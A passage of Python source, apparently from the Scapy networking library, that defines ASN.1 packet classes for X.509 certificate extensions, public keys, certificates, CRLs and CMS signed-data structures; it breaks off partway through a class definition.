ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\"certificateIssuer\", [], X509_GeneralName)\n\n\nclass X509_ExtInvalidityDate(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_GENERALIZED_TIME(\"invalidityDate\", str(ZuluTime(+86400)))\n\n\nclass X509_ExtSubjectAltName(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\"subjectAltName\", [], X509_GeneralName)\n\n\nclass X509_ExtIssuerAltName(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\"issuerAltName\", [], X509_GeneralName)\n\n\nclass X509_ExtGeneralSubtree(ASN1_Packet):\n    # 'minimum' is not optional in RFC 5280, yet it is in some implementations.\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_PACKET(\"base\", X509_GeneralName(), X509_GeneralName),\n        ASN1F_optional(\n            ASN1F_INTEGER(\"minimum\", None, implicit_tag=0x80)),\n        ASN1F_optional(\n            ASN1F_INTEGER(\"maximum\", None, implicit_tag=0x81)))\n\n\nclass X509_ExtNameConstraints(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_optional(\n            ASN1F_SEQUENCE_OF(\"permittedSubtrees\", None,\n                              X509_ExtGeneralSubtree,\n                              implicit_tag=0xa0)),\n        ASN1F_optional(\n            ASN1F_SEQUENCE_OF(\"excludedSubtrees\", None,\n                              X509_ExtGeneralSubtree,\n                              implicit_tag=0xa1)))\n\n\nclass X509_ExtPolicyConstraints(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_optional(\n            ASN1F_INTEGER(\"requireExplicitPolicy\", None,\n                          implicit_tag=0x80)),\n        ASN1F_optional(\n            ASN1F_INTEGER(\"inhibitPolicyMapping\", None,\n                          implicit_tag=0x81)))\n\n\nclass X509_ExtExtendedKeyUsage(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\"extendedKeyUsage\", [], ASN1P_OID)\n\n    def get_extendedKeyUsage(self):\n        eku_array = self.extendedKeyUsage\n        return [eku.oid.oidname for eku in eku_array]\n\n\nclass X509_ExtNoticeReference(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_CHOICE(\"organization\",\n                     ASN1_UTF8_STRING(\"Dummy Organization\"),\n                     ASN1F_IA5_STRING, ASN1F_ISO646_STRING,\n                     ASN1F_BMP_STRING, ASN1F_UTF8_STRING),\n        ASN1F_SEQUENCE_OF(\"noticeNumbers\", [], ASN1P_INTEGER))\n\n\nclass X509_ExtUserNotice(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_optional(\n            ASN1F_PACKET(\"noticeRef\", None,\n                         X509_ExtNoticeReference)),\n        ASN1F_optional(\n            ASN1F_CHOICE(\"explicitText\",\n                         ASN1_UTF8_STRING(\"Dummy ExplicitText\"),\n                         ASN1F_IA5_STRING, ASN1F_ISO646_STRING,\n                         ASN1F_BMP_STRING, ASN1F_UTF8_STRING)))\n\n\nclass X509_ExtPolicyQualifierInfo(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_OID(\"policyQualifierId\", \"1.3.6.1.5.5.7.2.1\"),\n        ASN1F_CHOICE(\"qualifier\", ASN1_IA5_STRING(\"cps_str\"),\n                     ASN1F_IA5_STRING, X509_ExtUserNotice))\n\n\nclass X509_ExtPolicyInformation(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_OID(\"policyIdentifier\", \"2.5.29.32.0\"),\n        ASN1F_optional(\n            ASN1F_SEQUENCE_OF(\"policyQualifiers\", None,\n                              X509_ExtPolicyQualifierInfo)))\n\n\nclass X509_ExtCertificatePolicies(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\"certificatePolicies\",\n                                  [X509_ExtPolicyInformation()],\n                                  X509_ExtPolicyInformation)\n\n\nclass X509_ExtCRLDistributionPoints(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\"cRLDistributionPoints\",\n                                  [X509_ExtDistributionPoint()],\n                                  X509_ExtDistributionPoint)\n\n\nclass X509_ExtInhibitAnyPolicy(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_INTEGER(\"skipCerts\", 0)\n\n\nclass X509_ExtFreshestCRL(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\"cRLDistributionPoints\",\n                                  [X509_ExtDistributionPoint()],\n                                  X509_ExtDistributionPoint)\n\n\nclass X509_AccessDescription(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_OID(\"accessMethod\", \"0\"),\n        ASN1F_PACKET(\"accessLocation\", X509_GeneralName(),\n                     X509_GeneralName))\n\n\nclass X509_ExtAuthInfoAccess(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\"authorityInfoAccess\",\n                                  [X509_AccessDescription()],\n                                  X509_AccessDescription)\n\n\nclass X509_ExtQcStatement(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_OID(\"statementId\", \"0.4.0.1862.1.1\"),\n        ASN1F_optional(\n            ASN1F_field(\"statementInfo\", None)))\n\n\nclass X509_ExtQcStatements(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\"qcStatements\",\n                                  [X509_ExtQcStatement()],\n                                  X509_ExtQcStatement)\n\n\nclass X509_ExtSubjInfoAccess(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\"subjectInfoAccess\",\n                                  [X509_AccessDescription()],\n                                  X509_AccessDescription)\n\n\nclass X509_ExtNetscapeCertType(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_BIT_STRING(\"netscapeCertType\", \"\")\n\n\nclass X509_ExtComment(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_CHOICE(\"comment\",\n                             ASN1_UTF8_STRING(\"Dummy comment.\"),\n                             ASN1F_IA5_STRING, ASN1F_ISO646_STRING,\n                             ASN1F_BMP_STRING, ASN1F_UTF8_STRING)\n\n\nclass X509_ExtCertificateTemplateName(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_BMP_STRING(\"Name\", b\"\")\n\n\nclass X509_ExtOidNTDSCaSecurity(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_X509_otherName()\n    type_id = ASN1_OID(\"1.3.6.1.4.1.311.25.2.1\")\n    value = ASN1_UTF8_STRING(\"\")\n\n\n# [MS-WCCE] sect 2.2.2.7.7.2\n\nclass X509_ExtCertificateTemplateOID(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_OID(\"templateID\", \"0\"),\n        ASN1F_optional(\n            ASN1F_INTEGER(\"templateMajorVersion\", 0),\n        ),\n        ASN1F_optional(\n            ASN1F_INTEGER(\"templateMinorVersion\", 0),\n        ),\n    )\n\n\n# oid-info.com shows that some extensions share multiple OIDs.\n# Here we only reproduce those written in RFC5280.\n_ext_mapping = {\n    \"2.5.29.9\": X509_ExtSubjectDirectoryAttributes,\n    \"2.5.29.14\": X509_ExtSubjectKeyIdentifier,\n    \"2.5.29.15\": X509_ExtKeyUsage,\n    \"2.5.29.16\": X509_ExtPrivateKeyUsagePeriod,\n    \"2.5.29.17\": X509_ExtSubjectAltName,\n    \"2.5.29.18\": X509_ExtIssuerAltName,\n    \"2.5.29.19\": X509_ExtBasicConstraints,\n    \"2.5.29.20\": X509_ExtCRLNumber,\n    \"2.5.29.21\": X509_ExtReasonCode,\n    \"2.5.29.24\": X509_ExtInvalidityDate,\n    \"2.5.29.27\": X509_ExtDeltaCRLIndicator,\n    \"2.5.29.28\": X509_ExtIssuingDistributionPoint,\n    \"2.5.29.29\": X509_ExtCertificateIssuer,\n    \"2.5.29.30\": X509_ExtNameConstraints,\n    \"2.5.29.31\": X509_ExtCRLDistributionPoints,\n    \"2.5.29.32\": X509_ExtCertificatePolicies,\n    \"2.5.29.33\": X509_ExtPolicyMappings,\n    \"2.5.29.35\": X509_ExtAuthorityKeyIdentifier,\n    \"2.5.29.36\": X509_ExtPolicyConstraints,\n    \"2.5.29.37\": X509_ExtExtendedKeyUsage,\n    \"2.5.29.46\": X509_ExtFreshestCRL,\n    \"2.5.29.54\": X509_ExtInhibitAnyPolicy,\n    \"2.16.840.1.113730.1.1\": X509_ExtNetscapeCertType,\n    \"2.16.840.1.113730.1.13\": X509_ExtComment,\n    \"1.3.6.1.4.1.311.20.2\": X509_ExtCertificateTemplateName,\n    \"1.3.6.1.4.1.311.21.7\": X509_ExtCertificateTemplateOID,\n    \"1.3.6.1.4.1.311.21.10\": X509_ExtCertificatePolicies,\n    \"1.3.6.1.4.1.311.25.2\": X509_ExtOidNTDSCaSecurity,\n    \"1.3.6.1.5.5.7.1.1\": X509_ExtAuthInfoAccess,\n    \"1.3.6.1.5.5.7.1.3\": X509_ExtQcStatements,\n    \"1.3.6.1.5.5.7.1.11\": X509_ExtSubjInfoAccess\n}\n\n\nclass _X509_ExtField(ASN1F_STRING_PacketField):\n    def m2i(self, pkt, s):\n        val = super(_X509_ExtField, self).m2i(pkt, s)\n        if not val[0].val:\n            return val\n        if pkt.extnID.val in _ext_mapping:\n            return (\n                _ext_mapping[pkt.extnID.val](val[0].val, _underlayer=pkt),\n                val[1],\n            )\n        return val\n\n\nclass ASN1F_EXT_SEQUENCE(ASN1F_SEQUENCE):\n    def __init__(self, **kargs):\n        seq = [ASN1F_OID(\"extnID\", \"2.5.29.19\"),\n               ASN1F_optional(\n                   ASN1F_BOOLEAN(\"critical\", False)),\n               _X509_ExtField(\"extnValue\", X509_ExtBasicConstraints())]\n        ASN1F_SEQUENCE.__init__(self, *seq, **kargs)\n\n\nclass X509_Extension(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_EXT_SEQUENCE()\n\n\nclass X509_Extensions(ASN1_Packet):\n    # we use this in OCSP status requests, in tls/handshake.py\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_optional(\n        ASN1F_SEQUENCE_OF(\"extensions\",\n                          None, X509_Extension))\n\n\n# Aka 'ExtensionReq' in CMS\n_X509_ATTRIBUTE_TYPE[\"1.2.840.113549.1.9.14\"] = X509_Extensions\n\n\n#       Public key wrapper       #\n\nclass X509_AlgorithmIdentifier(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_OID(\"algorithm\", \"1.2.840.113549.1.1.11\"),\n        MultipleTypeField(\n            [\n                (\n                    # RFC4055:\n                    # \"The correct encoding is to omit the parameters field\"\n                    # \"All implementations MUST accept both NULL and absent\n                    # parameters as legal and equivalent encodings.\"\n\n                    # RFC8017:\n                    # \"should generally be omitted, but if present, it shall have a\n                    # value of type NULL.\"\n                    ASN1F_optional(ASN1F_NULL(\"parameters\", None)),\n                    lambda pkt: (\n                        pkt.algorithm.val[:19] == \"1.2.840.113549.1.1.\" or\n                        pkt.algorithm.val[:21] == \"2.16.840.1.101.3.4.2.\" or\n                        pkt.algorithm.val[:11] == \"1.3.14.3.2.\"\n                    )\n                ),\n                (\n                    # RFC5758:\n                    # \"the encoding MUST omit the parameters field\"\n\n                    # RFC8410:\n                    # \"For all of the OIDs, the parameters MUST be absent.\"\n                    ASN1F_omit(\"parameters\", None),\n                    lambda pkt: (\n                        pkt.algorithm.val[:16] == \"1.2.840.10045.4.\" or\n                        pkt.algorithm.val in [\"1.3.101.112\", \"1.3.101.113\"]\n                    )\n                ),\n                # RFC5480\n                (\n                    ASN1F_PACKET(\n                        \"parameters\",\n                        ECParameters(),\n                        ECParameters,\n                    ),\n                    lambda pkt: pkt.algorithm.val == \"1.2.840.10045.2.1\",\n                ),\n                # RFC3279\n                (\n                    ASN1F_PACKET(\n                        \"parameters\",\n                        DomainParameters(),\n                        DomainParameters,\n                    ),\n                    lambda pkt: pkt.algorithm.val == \"1.2.840.10046.2.1\",\n                ),\n                # PKCS#3\n                (\n                    ASN1F_PACKET(\n                        \"parameters\",\n                        DHParameter(),\n                        DHParameter,\n                    ),\n                    lambda pkt: pkt.algorithm.val == \"1.2.840.113549.1.3.1\",\n                ),\n                # TripleDES\n                (\n                    ASN1F_STRING(\n                        \"parameters\",\n                        \"\",\n                    ),\n                    lambda pkt: pkt.algorithm.val == \"1.2.840.113549.3.7\",\n                ),\n            ],\n            # Default: fail, probably. This is most likely unimplemented.\n            ASN1F_NULL(\"parameters\", 0),\n        )\n    )\n\n\nclass ASN1F_X509_SubjectPublicKeyInfo(ASN1F_SEQUENCE):\n    def __init__(self, **kargs):\n        seq = [ASN1F_PACKET(\"signatureAlgorithm\",\n                            X509_AlgorithmIdentifier(),\n                            X509_AlgorithmIdentifier),\n               MultipleTypeField(\n                   [\n                       (ASN1F_BIT_STRING_ENCAPS(\"subjectPublicKey\",\n                                                RSAPublicKey(),\n                                                RSAPublicKey),\n                        lambda pkt: \"rsa\" in pkt.signatureAlgorithm.algorithm.oidname.lower()),  # noqa: E501\n                       (ASN1F_PACKET(\"subjectPublicKey\",\n                                     ECDSAPublicKey(),\n                                     ECDSAPublicKey),\n                        lambda pkt: \"ecPublicKey\" == pkt.signatureAlgorithm.algorithm.oidname),  # noqa: E501\n                       (ASN1F_BIT_STRING_ENCAPS(\"subjectPublicKey\",\n                                                DHPublicKey(),\n                                                DHPublicKey),\n                        lambda pkt: \"dhpublicnumber\" == pkt.signatureAlgorithm.algorithm.oidname),  # noqa: E501\n                       (ASN1F_PACKET(\"subjectPublicKey\",\n                                     EdDSAPublicKey(),\n                                     EdDSAPublicKey),\n                        lambda pkt: pkt.signatureAlgorithm.algorithm.oidname in [\"Ed25519\", \"Ed448\"]),  # noqa: E501\n                   ],\n                   ASN1F_BIT_STRING(\"subjectPublicKey\", \"\"))]\n        ASN1F_SEQUENCE.__init__(self, *seq, **kargs)\n\n\nclass X509_SubjectPublicKeyInfo(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_X509_SubjectPublicKeyInfo()\n\n\n#      OpenSSL compatibility wrappers      #\n\n# XXX As ECDSAPrivateKey already uses the structure from RFC 5958,\n# and as we would prefer encapsulated RSA private keys to be parsed,\n# this lazy implementation actually supports RSA encoding only.\n# We'd rather call it RSAPrivateKey_OpenSSL than X509_PrivateKeyInfo.\nclass RSAPrivateKey_OpenSSL(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_enum_INTEGER(\"version\", 0, [\"v1\", \"v2\"]),\n        ASN1F_PACKET(\"privateKeyAlgorithm\",\n                     X509_AlgorithmIdentifier(),\n                     X509_AlgorithmIdentifier),\n        ASN1F_PACKET(\"privateKey\",\n                     RSAPrivateKey(),\n                     RSAPrivateKey,\n                     explicit_tag=0x04),\n        ASN1F_optional(\n            ASN1F_PACKET(\"parameters\", None, ECParameters,\n                         explicit_tag=0xa0)),\n        ASN1F_optional(\n            ASN1F_PACKET(\"publicKey\", None,\n                         ECDSAPublicKey,\n                         explicit_tag=0xa1)))\n\n# We need this hack because ECParameters parsing below must return\n# a Padding payload, and making the ASN1_Packet class have Padding\n# instead of Raw payload would break things...\n\n\nclass _PacketFieldRaw(PacketField):\n    def getfield(self, pkt, s):\n        i = self.m2i(pkt, s)\n        remain = \"\"\n        if conf.raw_layer in i:\n            r = i[conf.raw_layer]\n            del r.underlayer.payload\n            remain = r.load\n        return remain, i\n\n\nclass ECDSAPrivateKey_OpenSSL(Packet):\n    name = \"ECDSA Params + Private Key\"\n    fields_desc = [_PacketFieldRaw(\"ecparam\",\n                                   ECParameters(),\n                                   ECParameters),\n                   PacketField(\"privateKey\",\n                               ECDSAPrivateKey(),\n                               ECDSAPrivateKey)]\n\n\n#       TBSCertificate & Certificate       #\n\n_default_issuer = [\n    X509_RDN(),\n    X509_RDN(\n        rdn=[X509_AttributeTypeAndValue(\n            type=ASN1_OID(\"2.5.4.10\"),\n            value=ASN1_PRINTABLE_STRING(\"Scapy, Inc.\"))]),\n    X509_RDN(\n        rdn=[X509_AttributeTypeAndValue(\n            type=ASN1_OID(\"2.5.4.3\"),\n            value=ASN1_PRINTABLE_STRING(\"Scapy Default Issuer\"))])\n]\n\n_default_subject = [\n    X509_RDN(),\n    X509_RDN(\n        rdn=[X509_AttributeTypeAndValue(\n            type=ASN1_OID(\"2.5.4.10\"),\n            value=ASN1_PRINTABLE_STRING(\"Scapy, Inc.\"))]),\n    X509_RDN(\n        rdn=[X509_AttributeTypeAndValue(\n            type=ASN1_OID(\"2.5.4.3\"),\n            value=ASN1_PRINTABLE_STRING(\"Scapy Default Subject\"))])\n]\n\n\nclass _IssuerUtils:\n    def get_issuer(self):\n        attrs = self.issuer\n        attrsDict = {}\n        for attr in attrs:\n            # we assume there is only one name in each rdn ASN1_SET\n            attrsDict[attr.rdn[0].type.oidname] = plain_str(attr.rdn[0].value.val)  # noqa: E501\n        return attrsDict\n\n    def get_issuer_str(self):\n        \"\"\"\n        Returns a one-line string containing every type/value\n        in a rather specific order. sorted() built-in ensures unicity.\n        \"\"\"\n        name_str = \"\"\n        attrsDict = self.get_issuer()\n        for attrType, attrSymbol in _attrName_mapping:\n            if attrType in attrsDict:\n                name_str += \"/\" + attrSymbol + \"=\"\n                name_str += attrsDict[attrType]\n        for attrType in sorted(attrsDict):\n            if attrType not in _attrName_specials:\n                name_str += \"/\" + attrType + \"=\"\n                name_str += attrsDict[attrType]\n        return name_str\n\n\nclass X509_Validity(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_CHOICE(\"not_before\",\n                     ASN1_UTC_TIME(str(ZuluTime(-600))),\n                     ASN1F_UTC_TIME, ASN1F_GENERALIZED_TIME),\n        ASN1F_CHOICE(\"not_after\",\n                     ASN1_UTC_TIME(str(ZuluTime(+86400))),\n                     ASN1F_UTC_TIME, ASN1F_GENERALIZED_TIME))\n\n\n_attrName_mapping = [\n    (\"countryName\", \"C\"),\n    (\"stateOrProvinceName\", \"ST\"),\n    (\"localityName\", \"L\"),\n    (\"organizationName\", \"O\"),\n    (\"organizationUnitName\", \"OU\"),\n    (\"commonName\", \"CN\")\n]\n_attrName_specials = [name for name, symbol in _attrName_mapping]\n\n\nclass X509_TBSCertificate(ASN1_Packet, _IssuerUtils):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_optional(\n            ASN1F_enum_INTEGER(\"version\", 0x2, [\"v1\", \"v2\", \"v3\"],\n                               explicit_tag=0xa0)),\n        ASN1F_INTEGER(\"serialNumber\", 1),\n        ASN1F_PACKET(\"signature\",\n                     X509_AlgorithmIdentifier(),\n                     X509_AlgorithmIdentifier),\n        ASN1F_SEQUENCE_OF(\"issuer\", _default_issuer, X509_RDN),\n        ASN1F_PACKET(\"validity\",\n                     X509_Validity(),\n                     X509_Validity),\n        ASN1F_SEQUENCE_OF(\"subject\", _default_subject, X509_RDN),\n        ASN1F_PACKET(\"subjectPublicKeyInfo\",\n                     X509_SubjectPublicKeyInfo(),\n                     X509_SubjectPublicKeyInfo),\n        ASN1F_optional(\n            ASN1F_BIT_STRING(\"issuerUniqueID\", None,\n                             implicit_tag=0x81)),\n        ASN1F_optional(\n            ASN1F_BIT_STRING(\"subjectUniqueID\", None,\n                             implicit_tag=0x82)),\n        ASN1F_optional(\n            ASN1F_SEQUENCE_OF(\"extensions\",\n                              [X509_Extension()],\n                              X509_Extension,\n                              explicit_tag=0xa3)))\n\n    def get_subject(self):\n        attrs = self.subject\n        attrsDict = {}\n        for attr in attrs:\n            # we assume there is only one name in each rdn ASN1_SET\n            attrsDict[attr.rdn[0].type.oidname] = plain_str(attr.rdn[0].value.val)  # noqa: E501\n        return attrsDict\n\n    def get_subject_str(self):\n        name_str = \"\"\n        attrsDict = self.get_subject()\n        for attrType, attrSymbol in _attrName_mapping:\n            if attrType in attrsDict:\n                name_str += \"/\" + attrSymbol + \"=\"\n                name_str += attrsDict[attrType]\n        for attrType in sorted(attrsDict):\n            if attrType not in _attrName_specials:\n                name_str += \"/\" + attrType + \"=\"\n                name_str += attrsDict[attrType]\n        return name_str\n\n\nclass ASN1F_X509_Cert(ASN1F_SEQUENCE):\n    def __init__(self, **kargs):\n        seq = [ASN1F_PACKET(\"tbsCertificate\",\n                            X509_TBSCertificate(),\n                            X509_TBSCertificate),\n               ASN1F_PACKET(\"signatureAlgorithm\",\n                            X509_AlgorithmIdentifier(),\n                            X509_AlgorithmIdentifier),\n               MultipleTypeField(\n                   [\n                       (ASN1F_BIT_STRING_ENCAPS(\"signatureValue\",\n                                                ECDSASignature(),\n                                                ECDSASignature),\n                        lambda pkt: \"ecdsa\" in pkt.signatureAlgorithm.algorithm.oidname.lower()),  # noqa: E501\n                   ],\n                   ASN1F_BIT_STRING(\"signatureValue\",\n                                    \"defaultsignature\" * 2))]\n        ASN1F_SEQUENCE.__init__(self, *seq, **kargs)\n\n\nclass X509_Cert(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_X509_Cert()\n\n\n#       TBSCertList & CRL       #\n\nclass X509_RevokedCertificate(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(ASN1F_INTEGER(\"serialNumber\", 1),\n                               ASN1F_UTC_TIME(\"revocationDate\",\n                                              str(ZuluTime(+86400))),\n                               ASN1F_optional(\n                                   ASN1F_SEQUENCE_OF(\"crlEntryExtensions\",\n                                                     None, X509_Extension)))\n\n\nclass X509_TBSCertList(ASN1_Packet, _IssuerUtils):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_optional(\n            ASN1F_enum_INTEGER(\"version\", 1, [\"v1\", \"v2\"])),\n        ASN1F_PACKET(\"signature\",\n                     X509_AlgorithmIdentifier(),\n                     X509_AlgorithmIdentifier),\n        ASN1F_SEQUENCE_OF(\"issuer\", _default_issuer, X509_RDN),\n        ASN1F_UTC_TIME(\"this_update\", str(ZuluTime(-1))),\n        ASN1F_optional(\n            ASN1F_UTC_TIME(\"next_update\", None)),\n        ASN1F_optional(\n            ASN1F_SEQUENCE_OF(\"revokedCertificates\", None,\n                              X509_RevokedCertificate)),\n        ASN1F_optional(\n            ASN1F_SEQUENCE_OF(\"crlExtensions\", None,\n                              X509_Extension,\n                              explicit_tag=0xa0)))\n\n\nclass ASN1F_X509_CRL(ASN1F_SEQUENCE):\n    def __init__(self, **kargs):\n        seq = [ASN1F_PACKET(\"tbsCertList\",\n                            X509_TBSCertList(),\n                            X509_TBSCertList),\n               ASN1F_PACKET(\"signatureAlgorithm\",\n                            X509_AlgorithmIdentifier(),\n                            X509_AlgorithmIdentifier),\n               MultipleTypeField(\n                   [\n                       (ASN1F_BIT_STRING_ENCAPS(\"signatureValue\",\n                                                ECDSASignature(),\n                                                ECDSASignature),\n                        lambda pkt: \"ecdsa\" in pkt.signatureAlgorithm.algorithm.oidname.lower()),  # noqa: E501\n                   ],\n                   ASN1F_BIT_STRING(\"signatureValue\",\n                                    \"defaultsignature\" * 2))]\n        ASN1F_SEQUENCE.__init__(self, *seq, **kargs)\n\n\nclass X509_CRL(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_X509_CRL()\n\n\n#####################\n#    CMS packets    #\n#####################\n# based on RFC 3852\n\nCMSVersion = ASN1F_INTEGER\n\n# RFC3852 sect 5.2\n\n# Other layers should store the structures that can be encapsulated\n# by CMS here, referred by their OIDs.\n_CMS_ENCAPSULATED = {}\n\n\nclass _EncapsulatedContent_Field(ASN1F_STRING_PacketField):\n    def m2i(self, pkt, s):\n        val = super(_EncapsulatedContent_Field, self).m2i(pkt, s)\n        if not val[0].val:\n            return val\n\n        # Get encapsulated value from its type\n        if pkt.eContentType.val in _CMS_ENCAPSULATED:\n            return (\n                _CMS_ENCAPSULATED[pkt.eContentType.val](val[0].val, _underlayer=pkt),\n                val[1],\n            )\n\n        return val\n\n\nclass CMS_EncapsulatedContentInfo(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_OID(\"eContentType\", \"0\"),\n        ASN1F_optional(\n            _EncapsulatedContent_Field(\"eContent\", None,\n                                       explicit_tag=0xA0),\n        ),\n    )\n\n\n# RFC3852 sect 10.2.1\n\nclass CMS_RevocationInfoChoice(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_CHOICE(\n        \"crl\", None,\n        ASN1F_PACKET(\"crl\", X509_CRL(), X509_Cert),\n        # -- TODO: 1\n    )\n\n\n# RFC3852 sect 10.2.2\n\nclass CMS_CertificateChoices(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_CHOICE(\n        \"certificate\", None,\n        ASN1F_PACKET(\"certificate\", X509_Cert(), X509_Cert),\n        # -- TODO: 0, 1, 2\n    )\n\n\n# RFC3852 sect 10.2.4\n\nclass CMS_IssuerAndSerialNumber(ASN1_Packet, _IssuerUtils):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_SEQUENCE_OF(\"issuer\", _default_issuer, X509_RDN),\n        ASN1F_INTEGER(\"serialNumber\", 0)\n    )\n\n\n# RFC3852 sect 10.2.7\n\nclass CMS_OtherKeyAttribute(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_OID(\"keyAttrId\", \"0\"),\n        ASN1F_field(\"keyAttr\", 0),\n    )\n\n\n# RFC3852 sect 5.3\n\n\nclass CMS_SubjectKeyIdentifier(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_STRING(\"sid\", \"\")\n\n\nclass CMS_SignerInfo(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        CMSVersion(\"version\", 1),\n        ASN1F_CHOICE(\n            \"sid\",\n            CMS_IssuerAndSerialNumber(),\n            ASN1F_PACKET(\"sid\", CMS_IssuerAndSerialNumber(),\n                         CMS_IssuerAndSerialNumber),\n            ASN1F_PACKET(\"sid\", CMS_SubjectKeyIdentifier(),\n                         CMS_SubjectKeyIdentifier,\n                         implicit_tag=0x80),\n        ),\n        ASN1F_PACKET(\"digestAlgorithm\", X509_AlgorithmIdentifier(),\n                     X509_AlgorithmIdentifier),\n        ASN1F_optional(\n            ASN1F_SET_OF(\n                \"signedAttrs\",\n                None,\n                X509_Attribute,\n                implicit_tag=0xA0,\n            )\n        ),\n        ASN1F_PACKET(\"signatureAlgorithm\", X509_AlgorithmIdentifier(),\n                     X509_AlgorithmIdentifier),\n        ASN1F_STRING(\"signature\", ASN1_UTF8_STRING(\"\")),\n        ASN1F_optional(\n            ASN1F_SET_OF(\n                \"unsignedAttrs\",\n                None,\n                X509_Attribute,\n                implicit_tag=0xA1,\n            )\n        )\n    )\n\n\n# RFC3852 sect 5.4\n\nclass CMS_SignedAttrsForSignature(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SET_OF(\n        \"signedAttrs\",\n        None,\n        X509_Attribute,\n    )\n\n\n# RFC3852 sect 5.1\n\nclass CMS_SignedData(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        CMSVersion(\"version\", 1),\n        ASN1F_SET_OF(\"digestAlgorithms\", [], X509_AlgorithmIdentifier),\n        ASN1F_PACKET(\"encapContentInfo\", CMS_EncapsulatedContentInfo(),\n                     CMS_EncapsulatedContentInfo),\n        ASN1F_optional(\n            ASN1F_SET_OF(\n                \"certificates\",\n                None,\n                CMS_CertificateChoices,\n                implicit_tag=0xA0,\n            )\n        ),\n        ASN1F_optional(\n            ASN1F_SET_OF(\n                \"crls\",\n                None,\n                CMS_RevocationInfoChoice,\n                implicit_tag=0xA1,\n            )\n        ),\n        ASN1F_SET_OF(\n            \"signerInfos\",\n            [],\n            CMS_SignerInfo,\n        ),\n    )\n\n\n# RFC3852 sect 6.2.1\n\nclass CMS_KeyTransRecipientInfo(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        CMSVersion(\"version\", 0),\n        ASN1F_CHOICE(\n            \"rid\",\n            CMS_IssuerAndSerialNumber(),\n            